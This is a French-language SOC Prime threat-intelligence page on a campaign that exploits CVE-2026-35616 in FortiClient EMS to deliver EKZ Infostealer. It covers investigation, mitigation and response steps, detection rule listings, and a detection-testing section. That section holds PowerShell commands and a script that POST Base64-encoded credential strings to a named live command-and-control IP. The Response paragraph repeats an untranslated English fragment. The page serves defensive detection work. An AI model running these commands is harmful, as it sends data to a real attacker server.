SOC Prime Bias: Critique

29 May 2026 07:30 UTC

FortiClient EMS exploité via CVE-2026-35616 pour distribuer EKZ Infostealer déguisé en correctif Fortinet

Author Photo
SOC Prime Team linkedin icon Suivre
FortiClient EMS exploité via CVE-2026-35616 pour distribuer EKZ Infostealer déguisé en correctif Fortinet
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Arctic Wolf a identifié une campagne exploitant CVE-2026-35616 dans FortiClient EMS pour distribuer un script malveillant PowerShell aux points finaux gérés. Ce script récupérait et lançait une charge utile de vol de données d’identification connue sous le nom de EKZ Infostealer tout en se faisant passer pour un correctif légitime de Fortinet. Le malware collectait les mots de passe du navigateur, les cookies, et les informations de saisie automatique, puis exfiltrait les données volées via HTTP. En abusant des canaux de configuration EMS de confiance, les attaquants ont pu exécuter rapidement la charge utile sur plusieurs appareils gérés.

Enquête

Les chercheurs ont recréé l’exploitation en envoyant des requêtes HTTP spécialement forgées aux API de FortiClient EMS, entraînant des changements de configuration qui inséraient des scripts malveillants. Les traces d’exécution montraient fortitray.exe or ipsec.exe générant cmd.exe, qui à son tour lançait une commande PowerShell encodée en Base64 qui téléchargeait p.exe à partir d’une adresse IP malveillante. La charge utile a écrit un fichier log.txt dans ProgramData, a envoyé les données capturées au même serveur, puis s’est supprimée.

Atténuation

Les organisations devraient mettre à jour FortiClient EMS vers une version qui corrige CVE-2026-35616 et restreindre l’accès à l’API aux adresses IP sources approuvées. Les défenseurs doivent également examiner les journaux EMS pour détecter les erreurs liées aux certificats et les changements inattendus des profils d’accès à distance. Le trafic HTTP sortant des points finaux vers des adresses IP inconnues doit être bloqué, et l’exécution de scripts dans les flux de travail des profils VPN doit être limitée par des contrôles de privilèges minimaux.

Réponse

Si cette activité est détectée, isolez immédiatement les hôtes affectés, révoquez tous les comptes EMS non autorisés qui ont pu être créés, et retirez les fichiers de scripts malveillants du répertoire des journaux de FortiClient. Les enquêteurs doivent préserver l’artéfact, calculer les hachages pour les binaires malveillants, et rechercher des indicateurs correspondants dans l’environnement. Les données d’identification exposées sur le navigateur doivent être réinitialisées, et les équipes devraient surveiller toute activité d’authentification suspecte pouvant suivre le vol. log.txt artifact, calculate hashes for the malicious binaries, and hunt for matching indicators across the environment. Exposed browser credentials should be reset, and teams should monitor for suspicious authentication activity that may follow the theft.

Flux d’Attaque

Détections

Nom de Fichier Court (via cmdline)

Équipe SOC Prime
28 mai 2026

Utilisation Suspecte de CURL (via cmdline)

Équipe SOC Prime
28 mai 2026

Appel de Méthodes .NET Suspectes depuis Powershell (via powershell)

Équipe SOC Prime
28 mai 2026

Activité Possible de Transfert par Bits (via powershell)

Équipe SOC Prime
28 mai 2026

IOCs (HashSha256) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet

Règles SOC Prime AI
28 mai 2026

IOCs (HashSha1) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet

Règles SOC Prime AI
28 mai 2026

IOCs (HashMd5) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet

Règles SOC Prime AI
28 mai 2026

IOCs (SourceIP) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet

Règles SOC Prime AI
28 mai 2026

IOCs (DestinationIP) pour détecter : FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer Déguisé en Patch Fortinet

Règles SOC Prime AI
28 mai 2026

Exfiltration de Données d’Identifications par EKZ Infostealer via HTTP POST [Connexion Réseau Windows]

Règles SOC Prime AI
28 mai 2026

FortiClient EMS Exploité via CVE-2026-35616 pour Livrer EKZ Infostealer [Création de Processus Windows]

Règles SOC Prime AI
28 mai 2026

Exécution de PowerShell via FortiClient pour Livrer EKZ Infostealer [Windows Powershell]

Règles SOC Prime AI
28 mai 2026

Exécution de Simulation

Prérequis : Le Test Préliminaire de Télémétrie & Baseline doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un mauvais diagnostic.

  • Narratif de l’Attaque & Commandes :
    L’attaquant a précédemment recueilli des identifiants à partir du registre Windows (famille T1216) en utilisant EKZ Infostealer. Pour exfiltrer le blob collecté, le malware lance une commande PowerShell en une ligne qui envoie par POST les identifiants encodés en Base64 à son serveur de commande et de contrôle à 83.138.53.110. L’utilisation de PowerShell (Invoke-WebRequest) est une technique classique d’exploitation du système pour éviter les détections basées sur les binaires tout en produisant une télémétrie réseau observable par le pare-feu.

    powershell
    # Charge utile d'identifiants simulée (Base64 de "user:pass")
    $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("administrator:Password123!"))
    $uri = "http://83.138.53.110/collect"
    Invoke-WebRequest -Uri $uri -Method POST -Body $payload -ContentType "application/x-www-form-urlencoded"
    
  • Script de Test de Régression : Ce script PowerShell autonome reproduit l’étape d’exfiltration et peut être relancé pour de futures regressions.

    powershell
    <#
    .SYNOPSIS
        Simulation d'exfiltration d'identifiants par EKZ Infostealer (HTTP POST).
    
    .DESCRIPTION
        Génère un blob d'identifiants factice, le code, et l'envoie par POST à l'
        IP malveillante connue utilisée dans la règle de détection.
    
    .NOTES
        Nécessite que le HTTP sortant soit autorisé vers 83.138.53.110 sur le port 80.
    #>
    
    # ---- Préparation ----
    $creds   = "admin_user:SuperSecret!"
    $b64     = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($creds))
    $target  = "http://83.138.53.110/collect"
    
    # ---- Exécution ----
    try {
        Write-Host "[*] Envoi du blob d'identifiants à $target ..."
        $resp = Invoke-WebRequest -Uri $target -Method POST -Body $b64 -ContentType "application/x-www-form-urlencoded" -UseBasicParsing
        Write-Host "[+] Statut HTTP:" $resp.StatusCode
    } catch {
        Write-Error "[-] Échec du POST : $_"
    }
    
    # ---- Fin du script ----
    
  • Commandes de Nettoyage : Aucun artéfact persistant n’est créé sur le disque, mais pour être minutieux, nous fermons toute session de requête web persistante et nettoyons la variable PowerShell.

    powershell
    # Nettoyer les variables et fermer toutes les sessions web ouvertes
    Remove-Variable -Name creds,b64,target -ErrorAction SilentlyContinue
    if (Get-Command -Name Remove-WebRequestSession -ErrorAction SilentlyContinue) {
        Remove-WebRequestSession -All
    }
    Write-Host "[*] Nettoyage terminé."